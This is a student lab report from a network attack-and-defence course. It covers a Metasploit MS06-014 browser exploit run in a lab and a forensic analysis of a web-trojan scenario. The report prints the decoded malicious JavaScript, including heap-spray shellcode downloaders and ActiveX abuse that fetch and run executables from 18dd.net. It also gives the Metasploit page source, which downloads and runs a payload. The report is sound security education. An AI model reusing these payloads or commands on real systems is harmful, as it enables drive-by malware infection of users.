20222810 2022-2023-2 《网络攻防实践》第11周作业

目录

1.实验内容

1.1 Metasploit测试框架

1.2 浏览器渗透攻击原理

2.实践过程

2.1 web浏览器渗透攻击

2.2 取证分析实践—网页木马攻击场景分析

2.2.1 解码文件

 2.2.2如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试

2.3 攻防对抗实践—web浏览器渗透攻击攻防

3.学习中遇到的问题及解决 

4.实践总结


 

1.实验内容

1.1 Metasploit测试框架

Metasploit最初是由HD Moore开发和孕育的,目的是为编写和开发渗透代码构建灵活且可维护的框架平台。随着开发团队的壮大,2007年Metasploit团队历时18个月利用 ruby语言重新编写了超过15万行代码的Metasploit3.0,自此,Metasploit在安全社区受到大力拥护,并且得到快速发展。2009年Metasploit被漏洞扫描公司Rapid7收购,并在原有 Metasploit框架的基础上开发了两款商业版本:Metasploit Express和Metasploit Pro,而Metas-polit框架则继续开发,而且代码更新速度得到飞跃式发展。

Metasploit 测试框架,是一个典型的开源平台,它提供了含有大量通用稳定并且更新周期短的渗透攻击代码库,目前Metasploit最高版本是V4.9,集成了1315个渗透攻击模块和370多个攻击载荷,它是一款覆盖渗透测试全过程的框架软件,并且是一个开放的漏洞研究与渗透代码开发公共平台,同时也是支持整个渗透测试过程的安全技术集成开发与应用环境。Metasploit不仅可以使用户通过选择它的渗透攻击模块、攻击载荷和编码器,轻易实施一次渗透攻击,还允许用户自行编写代码并执行更为复杂的攻击技术。总之它是为自动实施各种攻击提供基础设施支持的一个完整框架平台。

1.2 浏览器渗透攻击原理

浏览器渗透攻击属于客户端渗透攻击的一种,因此有必要先了解下客户端渗透攻击的定义。客户端渗透攻击指的是攻击者构造畸形数据发送给目标主机,用户在使用含有漏洞缺陷的客户端应用程序处理这些数据时,发生程序内部处理流程的错误,执行了内嵌于数据中的恶意代码,从而导致被渗透入侵。而浏览器渗透攻击便属于浏览器/服务端(B/S)模式下的客户端渗透攻击,攻击者通过利用社会工程学方法,将恶意访问链接发送给目标主机上的用户,并诱使其打开此链接,触发安全漏洞,执行内嵌在网页中的恶意代码,导致攻击发生。 一般情况下,针对服务器的渗透攻击需要将恶意数据发送给主机特点端口,但一旦管理员开启防火墙,或者主机处于被 DMZ 区隔离保护的内网中,那么这些恶意数据很难穿透这些防御,进入用户主机中,从而致使渗透攻击失败。浏览器渗透攻击则可以很好的解决这个问题,只要用户通过邮件或其他途径访问到恶意链接,那么攻击就在用户主机上产生了。而这之后的 Shell-code 触发执行方式也与通常的渗透攻击有着很大的不同。在传统的渗透攻击中,攻击者通过制造远程代码执行条件,进而植入恶意攻击载荷,从而获得主机访问控制权。但是在浏览器渗透攻击中,由于操作系统针对应用层提供了更多地安全保护机制,如DEP(数据执行保护)和ASLR(地址空间布局随机化),致使Shellcode地址不可控制,由此便应用而生了堆喷射漏洞利用技术,而这也是浏览器渗透攻击最普遍使用的技术。 在介绍堆喷射技术之前,首先了解下堆的定义,堆是指用于动态分配的进程内存空间,堆空间的大小取决于计算机的可用内存空间,以及在应用软件生命周期最后那个已经使用的内存空间。操作系统为应用程序分配内存空间的地址是随机化的,因此对于攻击者来说是未知的,即使攻击者成功地将 Shellcode 注入到缓冲区中,但由于无法准确的定位 Shellcode 位置,也就无法成功的跳转执行。堆喷射技术很好的解决了这一问题,它通过将空指令滑行区与 Shellcode 组合成固定的格式,重复填充到被害主机的堆中,并将其扩充到一定规模的内存空间。实际渗透时,通常利用浏览器在执行JavaScript脚本时去申请大量内存。当程序的执行流被渗透攻击改变后,程序将会随机跳转到内存中的任意位置,而这个内存地址已经被空指令滑行区和Shellcode组成的数据覆盖。这种方式相较于在内存中漫无目的的寻找Shellcode,堆喷射成功溢出的概率达到80%以上。

2.实践过程

2.1 web浏览器渗透攻击

实验环境:

虚拟机IP地址
攻击机kali192.168.200.5
靶机Win2k192.168.200.7

先查看kali与Win2k的连通性

 

 首先启动kali,在Kali中输入命令msfconsole打开Metasploit

接着输入search ms06-014查找使用的漏洞

输入命令use exploit/windows/browser/ie_createobject进入该渗透攻击模块。

 输入命令show payloads查看payloads。

 输入命令set payload windows/shell/bind_tcp,选择常用PAYLOAD为windows/shell/bind_tcp。

 输入命令set Lhost 192.168.200.5设置本地IP为攻击机。然后输入exploit开始攻击,恶意服务器建立。

在靶机环境中启动浏览器访问这个恶意URL:

http://192.168.200.5:8080/lgZQwWC

回到攻击机上可以看到,一个靶机到攻击机的session被建立。

 使用命令sessions -i 1打开会话,然后输入ipconfig可以查看到靶机的IP等信息 

2.2 取证分析实践—网页木马攻击场景分析

2.2.1 解码文件

打开start.html文件(用记事本),检索“new09”

从这两处可以看出start.html文件在引用new09.htm文件时没有写绝对路径,所以new09.htm文件与start.html文件在同一目录下。查看new09.htm:

可以看到 new09.htm 文件中,用iframe引用了一个 http://aa.18dd.net/aa/kl.htm 文件,又用javascript引用了一个http://js.users.51.la/1299644.js文件。对它们分别作MD5散列:

 

下载并打开hashed文件,找到这两个文件夹

23180a42a2ff1192150231b44ffdf3d3对应的文件打开后,由显示内容可知不是我们需要的内容。 

 7f60672dcd6b5e90b6772545ee219bd3对应的文件打开后,是很复杂的代码

 由倒数第三行t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'))可知实际上这是一种被称为 XXTEA+Base64 的加密方法,对付这种加 密方法,我们只要找到它的加密密钥就可以。

 将\x73\x63\x72\x69\x70\x74使用十六进制转字符串的操作,即可得到密钥script:

访问https://cycy.sourceforge.io/xxtea/,在密钥一栏中填入script;,对它进行进行XXTEA+Base64解密

完整代码为:

<script>
eval("\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x69\x6e\x69\x74\x28\x29\x7b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x29\x3b\x7d\x0d\x0a\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x6c\x6f\x61\x64\x20\x3d\x20\x69\x6e\x69\x74\x3b\x0d\x0a\x69\x66\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x2e\x69\x6e\x64\x65\x78\x4f\x66\x28\x27\x4f\x4b\x27\x29\x3d\x3d\x2d\x31\x29\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x65\x3b\x0d\x0a\x76\x61\x72\x20\x61\x64\x6f\x3d\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x22\x6f\x62\x6a\x65\x63\x74\x22\x29\x29\x3b\x0d\x0a\x61\x64\x6f\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\x22\x63\x6c\x61\x73\x73\x69\x64\x22\x2c\x22\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36\x22\x29\x3b\x0d\x0a\x76\x61\x72\x20\x61\x73\x3d\x61\x64\x6f\x2e\x63\x72\x65\x61\x74\x65\x6f\x62\x6a\x65\x63\x74\x28\x22\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d\x22\x2c\x22\x22\x29\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x65\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x0d\x0a\x76\x61\x72\x20\x65\x78\x70\x69\x72\x65\x73\x3d\x6e\x65\x77\x20\x44\x61\x74\x65\x28\x29\x3b\x0d\x0a\x65\x78\x70\x69\x72\x65\x73\x2e\x73\x65\x74\x54\x69\x6d\x65\x28\x65\x78\x70\x69\x72\x65\x73\x2e\x67\x65\x74\x54\x69\x6d\x65\x28\x29\x2b\x32\x34\x2a\x36\x30\x2a\x36\x30\x2a\x31\x30\x30\x30\x29\x3b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x6f\x6f\x6b\x69\x65\x3d\x27\x63\x65\x3d\x77\x69\x6e\x64\x6f\x77\x73\x78\x70\x3b\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d\x27\x2b\x65\x78\x70\x69\x72\x65\x73\x2e\x74\x6f\x47\x4d\x54\x53\x74\x72\x69\x6e\x67\x28\x29\x3b\x0d\x0a\x69\x66\x28\x65\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x31\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x0d\x0a\x65\x6c\x73\x65\x7b\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x66\x3b\x76\x61\x72\x20\x73\x74\x6f\x72\x6d\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x4d\x50\x53\x2e\x53\x74\x6f\x72\x6d\x50\x6c\x61\x79\x65\x72\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x66\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x66\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x62\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x67\x3b\x76\x61\x72\x20\x70\x70\x73\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x50\x4f\x57\x45\x52\x50\x4c\x41\x59\x45\x52\x2e\x50\x6f\x77\x65\x72\x50\x6c\x61\x79\x65\x72\x43\x74\x72\x6c\x2e\x31\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x67\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x67\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\x5c\x2f\x5c\x2f\x61\x61\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x5c\x2f\x61\x61\x5c\x2f\x70\x70\x73\x2e\x6a\x73\x3e\x3c\x5c\x2f\x73\x63\x72\x69\x70\x74\x3e\x22\x29\x7d\x7d\x0d\x0a\x74\x72\x79\x7b\x76\x61\x72\x20\x68\x3b\x76\x61\x72\x20\x6f\x62\x6a\x3d\x6e\x65\x77\x20\x41\x63\x74\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x42\x61\x69\x64\x75\x42\x61\x72\x2e\x54\x6f\x6f\x6c\x22\x29\x3b\x7d\x0d\x0a\x63\x61\x74\x63\x68\x28\x68\x29\x7b\x7d\x3b\x0d\x0a\x66\x69\x6e\x61\x6c\x6c\x79\x7b\x69\x66\x28\x68\x21\x3d\x22\x5b\x6f\x62\x6a\x65\x63\x74\x20\x45\x72\x72\x6f\x72\x5d\x22\x29\x7b\x0d\x0a\x6f\x62\x6a\x2e\x44\x6c\x6f\x61\x64\x44\x53\x28\x22\x68\x74\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x2e\x31\x38\x64\x64\x2e\x6e\x65\x74\x2f\x62\x62\x2f\x62\x64\x2e\x63\x61\x62\x22\x2c\x20\x22\x62\x64\x2e\x65\x78\x65\x22\x2c\x20\x30\x29\x7d\x7d\x0d\x0a\x7d\x7d\x7d")
</script>

对引号部分进行十六进制解密得:

function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+246060*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/1.js></script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/b.js></script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http://aa.18dd.net/aa/pps.js></script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}

利用到的应用程序漏洞有“Adodb.Stream”、“MPS.StormPlayer”、“POWERPLAYER.PowerPlayerCtrl.1”和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、暴风影音、PPStream和百度搜霸的漏洞。这些都是现在网络用户使用非常频繁的软件,其危害性可见一斑。另外,这个文件还引用三个js文件和一个压缩包(bd.cab,解开后是bd.exe)。

id="8这个文件利用到的应用程序漏洞有-adodbstreammpsstormplayerpowerplayerpowerplayerctrl1和baidubartool-分别对应利用了微软数据库访问对象暴风影音ppstream-和百度搜霸的漏洞这些都是现在-网络用户使用非常频繁的软件其危害性可见一斑另外这个文件还引用三个-js-文件和一个-压缩包bdcab解开后是-bdexe-然后对httpaa18ddnetaa1jshttpaa18ddnetaabjs-httpaa18ddnetaappsjs和httpdown18ddnetbbbdcab作处理得到三者的md5值">然后对“http://aa.18dd.net/aa/1.js”、“http://aa.18dd.net/aa/b.js”、 “http://aa.18dd.net/aa/pps.js”和“http://down.18dd.net/bb/bd.cab”作处理,得到三者的MD5值。

文件MD5值
http://aa.18dd.net/aa/1.js5d7e9058a857aa2abee820d5473c5fa4
http://aa.18dd.net/aa/b.js3870c28cc279d457746b3796a262f166
http://aa.18dd.net/aa/pps.js5f0b8bf0385314dbe0e5ec95e6abedc2
http://down.18dd.net/bb/bd.cab1c1d7b3539a617517c49eee4120783b2

打开http://aa.18dd.net/aa/1.js对应的5d7e9058a857aa2abee820d5473c5fa4文件

 

将十六进制数转换为字符串,得到如下结果。
由转换结果可知,代码下载了http://down.18dd.net/bb/014.exe 可执行文件。

打开http://aa.18dd.net/aa/b.js对应的3870c28cc279d457746b3796a262f166文件

 此处使用的是packed加密,需要进行Unpack解密(这里用工具猫网页常用加密解密工具箱完成此文件的packed解密)。

解密后得到以下内容,分析可发现存在shellcode下载器,这个下载器下载了http://down.18dd.net/bb/bf.exe 可执行文件。

var bigblock=unescape("%u9090%u9090"); var headersize=20; var shellcode=unescape("%uf3e9%u0000"+"%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c"+"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378"+"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b"+"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef"+"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1"+"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103"+"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904"+"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b"+"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e"+"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d"+"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320"+"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344"+"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc"+"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0"+"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab"+"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f"+"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574"+"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e"+"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00"+"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c"+"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54"+"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000"); var slackspace=headersize+shellcode.length; while(bigblock.length<slackspace)bigblock+=bigblock; fillblock=bigblock.substring(0,slackspace);block=bigblock.substring(0,bigblock.length-slackspace); while(block.length+slackspace<0x40000)block=block+block+fillblock;memory=new Array(); for(x=0;x<300;x++)memory[x]=block+shellcode;var buffer=''; while(buffer.length<4068)buffer+="\x0a\x0a\x0a\x0a";storm.rawParse(buffer)

打开http://aa.18dd.net/aa/pps.js对应的5f0b8bf0385314dbe0e5ec95e6abedc2文件。

 此处使用的是八进制加密,需要进行八进制解密。
解密得到以下内容,分析可发现存在shellcode下载器,这个下载器下载了http://aa.18dd.net/aa/pps.exe 可执行文件。

/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u*/ pps=(document.createElement("object")); pps.setAttribute("classid","clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000"+ "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62 2f%u2f62%u7070%u2e73%u7865%u0065"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize+shellcode.length; while (bigblock.length<slackspace) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+bl

打开http://down.18dd.net/bb/bd.cab对应的1c1d7b3539a617517c49eee4120783b2文件,解压缩后便可得到bd.exe可执行文件。

 2.2.2如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试

将之前的三个文件做hash下载:

MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4

得到MD5散列结果文件如下。观察可知三个文件的大小均为37kB。

 于是再对这三个文件进行MD5散列(二次MD5),由散列结果可知这三个文件的MD5值都为1290ecd734d68d52318ea9016dc6fe63,推断出这三个文件的内容是一致的,分析其中任意一个文件即可。

打开winXPAttacker上的PEiD 工具分析 pps.exe ,发现 pps.exe是使用Delphi编写的GUI程序。 

 

接下来我们可以用W32Dasm工具反汇编可执行文件,然后查看串式参考。

 

 用W32Dasm软件反汇编pps.exe文件,并查看串式参考内容清单: 

由字符goto try,try,Alletdel.bat可知,这个可执行文件可以得到该程序生成“Alletdel.bat”文件,该文件的能够不断执行“try”标签下一行的命令,如更改系统日期、删除某些文件。

 由字符:\AutoRun.inf可知,这个可执行文件可能在磁盘根目录自动运行文件。

由字符advapi32.dll和drivers/klif.sys可知,这个可执行文件可能修改注册表。

 

 发现有很多http://down.18dd.net/kl/**.exe,这表明程序会下载很多木马。

 观察到瑞星卡卡上网安全助手 - IE防漏墙,允许,允许执行,可知此程序会阻止安全软件的查杀。

 

2.3 攻防对抗实践—web浏览器渗透攻击攻防

实验环境:

虚拟机IP地址
攻击机kali192.168.200.5
靶机Win2k192.168.200.7

在kali中按照第一个实验的步骤使用MS06-014漏洞生成URL,http://192.168.200.5:8080/15U1QHnyhttp://192.168.200.5:8080/V17uEIg73http://192.168.200.5:8080/15U1QHny

 在Win2k中打开网址

 kali中得到:

 回到Win2k右键点击查看源文件,获取攻击页面的源代码,下载查看

 对代码进行压缩 格式化

 <html>
    <head>
        <title></title>
        <script language="javascript">
            function wbzuBWvGrRLjjSfPMcbuYoJM( o , n ) { var r = null; try { eval("r=o" + ".C" + "re" + "ate" + "Ob" + "je" + "ct(n)" ) } catch(e) {} if (! r) { try { eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'')" ) } catch(e) {} } if (! r) { try { eval("r=o" + ".Cr" + "ea" + "teO" + "bj" + "ect(n,'','')" ) } catch(e) {} } if (! r) { try { eval("r=o" + ".Ge" + "tOb" + "je" + "ct('',n)" ) } catch(e) {} } if (! r) { try { eval("r=o" + ".Ge" + "tOb" + "ject(n,'')" ) } catch(e) {} } if (! r) { try { eval("r=o" + ".Ge" + "tOb" + "ject(n)" ) } catch(e) {} } return ( r ); } function DNAkqlCCnvuLtdTzyrElJJRQzpSgez( a ) { var s = wbzuBWvGrRLjjSfPMcbuYoJM( a, "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll" ); var o = wbzuBWvGrRLjjSfPMcbuYoJM( a, "A" + "DO" + "D" + "B.S" + "tr" + "eam" ); var e = s.Environment( "P" + "ro" + "ce" + "ss" ); var url = document.location + '/p' + 'ay' + 'lo' + 'ad'; var xml = null; var bin = e.Item( "T" + "E" + "M" + "P" ) + "\\rSUSVGJiyTDMzRFxRLTOnMUypiSQX" + ".e" + "xe"; var dat; try { xml = new XMLHttpRequest(); } catch(e) { try { xml = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xml = new ActiveXObject("MSXML2.ServerXMLHTTP"); } } if (! xml) { return (0); } xml.open("GET", url, false); xml.send(null); dat = xml.responseBody; o.Type = 1 ; o.Mode = 3; o.Open ( ) ; o.Write ( dat ) ; o.SaveToFile ( bin, 2) ; s.Run ( bin , 0 ); } function izopUmNYeCKXOaxNAkMfwyWqPuURx( ) { var i = 0; var t = new Array( '{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6' + '-' + '6' + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9' + '8' + '3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2' + '9' + 'E' + '3' + '6' + '}' , '{' + 'B' + 'D' + '9' + '6' + 'C' + '5' + '5' + '6' + '-' + '6' + '5' + 'A' + '3' + '-' + '1' + '1' + 'D' + '0' + '-' + '9' + '8' + '3' + 'A' + '-' + '0' + '0' + 'C' + '0' + '4' + 'F' + 'C' + '2' + '9' + 'E' + '3' + '0' + '}' , '{' + '7' + 'F' + '5' + 'B' + '7' + 'F' + '6' + '3' + '-' + 'F' + '0' + '6' + 'F' + '-' + '4' + '3' + '3' + '1' + '-' + '8' + 'A' + '2' + '6' + '-' + '3' + '3' + '9' + 'E' + '0' + '3' + 'C' + '0' + 'A' + 'E' + '3' + 'D' + '}' , '{' + '6' + 'e' + '3' + '2' + '0' + '7' + '0' + 'a' + '-' + '7' + '6' + '6' + 'd' + '-' + '4' + 'e' + 'e' + '6' + '-' + '8' + '7' + '9' + 'c' + '-' + 'd' + 'c' + '1' + 'f' + 'a' + '9' + '1' + 'd' + '2' + 'f' + 'c' + '3' + '}' , '{' + '6' + '4' + '1' + '4' + '5' + '1' + '2' + 'B' + '-' + 'B' + '9' + '7' + '8' + '-' + '4' + '5' + '1' + 'D' + '-' + 'A' + '0' + 'D' + '8' + '-' + 'F' + 'C' + 'F' + 'D' + 'F' + '3' + '3' + 'E' + '8' + '3' + '3' + 'C' + '}' , '{' + '0' + '6' + '7' + '2' + '3' + 'E' + '0' + '9' + '-' + 'F' + '4' + 'C' + '2' + '-' + '4' + '3' + 'c' + '8' + '-' + '8' + '3' + '5' + '8' + '-' + '0' + '9' + 'F' + 'C' + 'D' + '1' + 'D' + 'B' + '0' + '7' + '6' + '6' + '}' , '{' + '6' + '3' + '9' + 'F' + '7' + '2' + '5' + 'F' + '-' + '1' + 'B' + '2' + 'D' + '-' + '4' + '8' + '3' + '1' + '-' + 'A' + '9' + 'F' + 'D' + '-' + '8' + '7' + '4' + '8' + '4' + '7' + '6' + '8' + '2' + '0' + '1' + '0' + '}' , '{' + 'B' + 'A' + '0' + '1' + '8' + '5' + '9' + '9' + '-' + '1' + 'D' + 'B' + '3' + '-' + '4' + '4' + 'f' + '9' + '-' + '8' + '3' + 'B' + '4' + '-' + '4' + '6' + '1' + '4' + '5' + '4' + 'C' + '8' + '4' + 'B' + 'F' + '8' + '}' , '{' + 'D' + '0' + 'C' + '0' + '7' + 'D' + '5' + '6' + '-' + '7' + 'C' + '6' + '9' + '-' + '4' + '3' + 'F' + '1' + '-' + 'B' + '4' + 'A' + '0' + '-' + '2' + '5' + 'F' + '5' + 'A' + '1' + '1' + 'F' + 'A' + 'B' + '1' + '9' + '}' , '{' + 'E' + '8' + 'C' + 'C' + 'C' + 'D' + 'D' + 'F' + '-' + 'C' + 'A' + '2' + '8' + '-' + '4' + '9' + '6' + 'b' + '-' + 'B' + '0' + '5' + '0' + '-' + '6' + 'C' + '0' + '7' + 'C' + '9' + '6' + '2' + '4' + '7' + '6' + 'B' + '}' , '{' + 'A' + 'B' + '9' + 'B' + 'C' + 'E' + 'D' + 'D' + '-' + 'E' + 'C' + '7' + 'E' + '-' + '4' + '7' + 'E' + '1' + '-' + '9' + '3' + '2' + '2' + '-' + 'D' + '4' + 'A' + '2' + '1' + '0' + '6' + '1' + '7' + '1' + '1' + '6' + '}' , '{' + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + '3' + '-' + '0' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '4' + '6' + '}' , '{' + '0' + '0' + '0' + '6' + 'F' + '0' + '3' + 'A' + '-' + '0' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '-' + 'C' + '0' + '0' + '0' + '-' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '0' + '4' + '6' + '}' , null ); while (t[i]) { var a = null; if (t[i].substring(0, 1) == '{') { a = document.createElement("object"); a.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" + ":" + t[i].substring( 1, t[i].length - 1 ) ) ; } else { try { a = new ActiveXObject(t[i]); } catch(e) {} } if (a) { try { var b = wbzuBWvGrRLjjSfPMcbuYoJM( a , "W" + "Sc" + "ri" + "pt" + ".S" + "he" + "ll" ) ; if (b) { DNAkqlCCnvuLtdTzyrElJJRQzpSgez( a ) ; return (0) ; } } catch(e) {} } i++; } }
